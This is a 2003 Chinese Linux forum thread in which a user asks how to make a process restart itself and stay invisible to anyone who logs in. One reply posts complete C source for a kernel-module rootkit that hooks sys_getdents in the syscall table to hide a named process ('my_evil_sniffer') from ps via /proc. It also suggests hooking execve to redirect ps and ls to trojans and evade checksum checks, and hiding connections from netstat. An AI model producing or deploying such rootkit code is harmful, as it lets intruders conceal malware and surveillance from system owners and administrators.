QQ登录

只需一步,快速开始

 找回密码
 注册

QQ登录

只需一步,快速开始

查看: 853|回复: 12

请教一个关于进程的问题--请高手回答~

[复制链接]
发表于 2003-7-6 15:51:06 | 显示全部楼层 |阅读模式
我有一个进程在运行,我想让它如果突然终止时,可以自动重启,而不用手工来操作。
  第二个问题是我想把自己的进程隐藏起来,如果谁进入我的系统,要让他看不见我的进程在运行。
  请问以上两个问题在技术上怎么实现,谢谢
发表于 2003-7-6 20:57:25 | 显示全部楼层
u are coding a backdoor daemon on a system.  
回复

使用道具 举报

发表于 2003-7-7 10:50:25 | 显示全部楼层
第一个问题:
    突然中止的含义你没有讲清楚。
如果指SIGINT,SIGTERM,可以通过信号处理重新fork一个进程来解决,但是注意SIGKILL无法捕捉
第二个问题:
    看不见如果指在系统中调用ps,好像没办法吧。
回复

使用道具 举报

发表于 2003-7-7 11:24:49 | 显示全部楼层
第二个问题
是不是可以创建一个daemon精灵进程
也就是后台进程
回复

使用道具 举报

发表于 2003-7-7 11:59:48 | 显示全部楼层
ps 看得见所有进程,线程。
^_^
回复

使用道具 举报

发表于 2003-7-7 12:02:34 | 显示全部楼层
[quote:2f16c79487="lshni"]ps 看得见所有进程,线程。
^_^[/quote]

nod, even the init.
回复

使用道具 举报

 楼主| 发表于 2003-7-7 15:39:54 | 显示全部楼层
我去看了一些资料 ,据说要重新编译 内核才能隐藏自己的进程
而且有技术可以让即使是ROOT用户也无法杀死该进程
不过看起来很麻烦,还是要去啃一啃内核技术了
回复

使用道具 举报

发表于 2003-7-9 00:57:29 | 显示全部楼层
现在有一种技术(我可不会),一般是黑客用来植木马的
把程序作成线程,然后植入其他的进程之中,你就可以隐藏了,而且根本就查不到(除非你是超级专家了),比如你植入inetd之中,谁会怀疑呢
还有一种,(我想你这种技术不会用来干正经事吧)
比较简单,他要查看进程,大概就是用到ps 等命令,ok,从这里突破,ps命令要调用一个系统函数,好像是什么gen-readn之类的,记不清除了,要读一个进程列表文件,那么你可以截获消息,对消息进行过滤,把有关你要隐藏的进程消息过滤掉,就显示不出了,别人看不到就相当于隐藏了。消息截获,就象金山词霸那样。有点麻烦的了。用trace ps看一下ps是怎么操作的怎么调用的,就有对策了
你想的好像都是黑客要做的,很危险的人物,大家要密切注意了哦,呵呵(别看我,别仍西瓜皮,本人只接受西瓜,西红柿和鸡蛋,而且要用篮子装,不要仍,我接不住的:)
回复

使用道具 举报

发表于 2003-7-9 01:36:35 | 显示全部楼层
yes, hook the system call. dangerous man
回复

使用道具 举报

 楼主| 发表于 2003-7-9 16:41:40 | 显示全部楼层
错,我可不是想当黑客,其实恰恰相反,是师兄让我去
实现进程隐藏和自动重启这么一个功能,目的是让入侵的黑客
不知道你在监视它,呵呵
不过我也是刚刚开始接触网络安全,很多技术都还没有掌握,
谢谢楼上各位给予的提醒,那个替换ps程序的技术,要能让我
看一些这方面的源代码就好了:)
回复

使用道具 举报

发表于 2003-7-9 22:44:48 | 显示全部楼层
yes, hook the system call. dangerous man

斑竹,你不是说我吧!
好吧,为了满足未来的可能的黑客,贴一些别人的程序出来,只是以后别来害我,要是学成了可以教我哦!!!:)
象ps之类的命令并不是直接用任何特殊的系统调用
来获得当前进程的列表的(也没有系统调用可以完成这项任务) 通过对ps命令的strace,你会发现其实它
是从/proc目录里得到进程信息的。在/proc里你可以找到很多目录,它们的名字都是仅仅由数字组成的(
比较奇怪吧;),那些数字就是运行着的进程的PID了,在这些目录里你可以找到与该进程有关的任何信息
,所以呢,ps命令其实就是对/proc运行了ls而已,而进程的相关信息,则是在/proc/PID的目录里放着,
好了,现在我们有办法了,ps必须从/proc目录里读东西,所以它要用到sys_getdents(...),我们只要从
PID来找出进程名,然后再把PID和/proc里的比较,如果是我们想藏的东西,就象前面所说的隐藏目录一
样,把它给封杀掉,上面程序中的两个task的函数及invisible函数仅是用来获得在/proc里找到PID的名
字的,至于文件隐藏,不用我多说了罢。

好,我把实现例程贴出来供参考:
#define MODULE
#define __KERNEL__

extern void* sys_call_table[];

/*我们想要隐藏的进程名*/
char mtroj[] = "my_evil_sniffer";

int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);

/*将string转换为数字*/
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
  if (*ptr < '0' || *ptr > '9')
   return (-1);
  res += (*ptr - '0') * mul;
  mul *= 10;
}
return (res);
}

/*从PID里取得任务列表的结构*/
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = current;
do {
  if (p->pid == pid)
   return p;
   p = p->next_task;
  }
  while (p != current);
  return NULL;
}

/*从任务列表里取得进程的名字*/
static inline char *task_name(struct task_struct *p, char *buf)
{
int i;
char *name;

name = p->comm;
i = sizeof(p->comm);
do {
  unsigned char c = *name;
  name++;
  i--;
  *buf = c;
  if (!c)
   break;
  if (c == '\\') {
   buf[1] = c;
   buf += 2;
   continue;
  }
  if (c == '\n') {
   buf[0] = '\\';
   buf[1] = 'n';
   buf += 2;
   continue;
  }
  buf++;
}
while (i);
*buf = '\n';
return buf + 1;
}

/*检查这个进程是否是我们想要隐藏的家伙*/
int invisible(pid_t pid)
{
struct task_struct *task = get_task(pid);
char *buffer;
if (task) {
  buffer = kmalloc(200, GFP_KERNEL);
  memset(buffer, 0, 200);
  task_name(task, buffer);
  if (strstr(buffer, (char *) &mtroj)) {
   kfree(buffer);
   return 1;
  }
}
return 0;
}

/*从我刚才的第一篇文章就已经说过了,呵呵不多说了*/
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
unsigned int tmp, n;
int t, proc = 0;
struct inode *dinode;
struct dirent *dirp2, *dirp3;

tmp = (*orig_getdents) (fd, dirp, count);

#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif

if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
  proc=1;
if (tmp > 0) {
  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  memcpy_fromfs(dirp2, dirp, tmp);
  dirp3 = dirp2;
  t = tmp;
  while (t > 0) {
   n = dirp3->d_reclen;
   t -= n;
  if ((proc && invisible(myatoi(dirp3->d_name)))) {
   if (t != 0)
    memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
   else
    dirp3->d_off = 1024;
    tmp -= n;  
   }
   if (t != 0)
    dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  }
  memcpy_tofs(dirp, dirp2, tmp);
  kfree(dirp2);
}
return tmp;
}


int init_module(void)                /*加载*/
{
orig_getdents=sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents]=hacked_getdents;
return 0;
}

void cleanup_module(void)            /*卸载*/
{
sys_call_table[SYS_getdents]=orig_getdents;                                       
}

其实其他我就不多说了,都是在重复劳动了,同样隐藏网络连接我们可以截获netstat命令的系统调用就
可以了。

我们还可以截获sys_execve(...)来重定向系统命令如/bin/ps,/bin/ls,呵呵,其实和本文是两回事了,
说说而已,也就是把/bin/ls重定向到我们的ls木马或rootkit程序,这样可以躲过checksum的校验,因为
我们根本没有替换/bin/ls,呵呵,照这个思路我们可以做的事情非常多,发挥想象可以做出很多好玩的
木马。

我是不是在纵容啊!!
回复

使用道具 举报

发表于 2003-7-9 22:52:26 | 显示全部楼层
另外,自动重起,应该要容易多了
你查看一下,init 是调用那些函数,传什么参数,
呵呵,你用系统调用这些函数,exec或者sys_call
就可以了,你是不用去写函数的,
你要是有空,源代码顺便都读了,那就恭喜你了,
你升级了!!!
过两天我就要回家了,家里可没有电脑,网吧也不会装linux
就不能过来看看了
回复

使用道具 举报

发表于 2003-7-10 08:48:07 | 显示全部楼层
Dangerous folks !
But it's interested skill.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

GMT+8, 2024-11-15 12:06 , Processed in 0.047843 second(s), 15 queries .

© 2021 Powered by Discuz! X3.5.

快速回复 返回顶部 返回列表